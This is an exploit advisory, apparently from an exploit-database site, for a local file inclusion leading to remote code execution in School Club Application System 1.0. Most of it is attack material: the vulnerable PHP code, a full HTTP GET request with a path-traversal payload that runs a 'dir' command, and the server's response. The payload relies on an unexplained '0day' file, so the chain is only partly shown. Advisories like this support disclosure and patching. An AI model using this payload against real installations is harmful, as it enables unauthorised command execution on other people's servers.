Exploit/Advisories

# Title: School Club Application System 1.0 LFI To RCE
# Author: Hejap Zairy
# Date: 08.04.2022
# Vendor: https://www.sourcecodester.com/php/15266/school-club-application-system-phpoop-free-source-code.html
# Software: https://www.sourcecodester.com/sites/default/files/download/oretnom23/scas_0.zip
# Reference: https://github.com/Matrix07ksa
# Tested on: Windows, MySQL, Apache

#vulnerability Code php
Needs more filtering require_once

```
< ?php
require_once('config.php');
$page = isset($_GET['page']) ? $_GET['page'] : 'home';
$page_name = explode("/",$page)[count(explode("/",$page)) -1];
?>
```

[+] Payload GET

```
GET /scas/?page=../../0day&515=dir HTTP/1.1
Host: 0day.gov
Cache-Control: max-age=0
sec-ch-ua: "(Not(A:Brand";v="8", "Chromium";v="99"
sec-ch-ua-mobile: ?0
sec-ch-ua-platform: "Windows"
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/99.0.4844.74 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Sec-Fetch-Site: none
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Accept-Encoding: gzip, deflate
Accept-Language: ar,en-US;q=0.9,en;q=0.8
Cookie: PHPSESSID=edh1ho9c9skog6v2ns0n0j3f2k
Connection: close

```

#Status: CRITICAL

#Response
```
HTTP/1.1 200 OK
Date: Fri, 08 Apr 2022 04:05:58 GMT
Server: Apache/2.4.52 (Win64) OpenSSL/1.1.1m PHP/7.4.27
X-Powered-By: PHP/7.4.27
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate
Pragma: no-cache
Access-Control-Allow-Origin: *
Connection: close
Content-Type: text/html; charset=UTF-8
Content-Length: 13563

.. .. 0day Page

Comments are closed.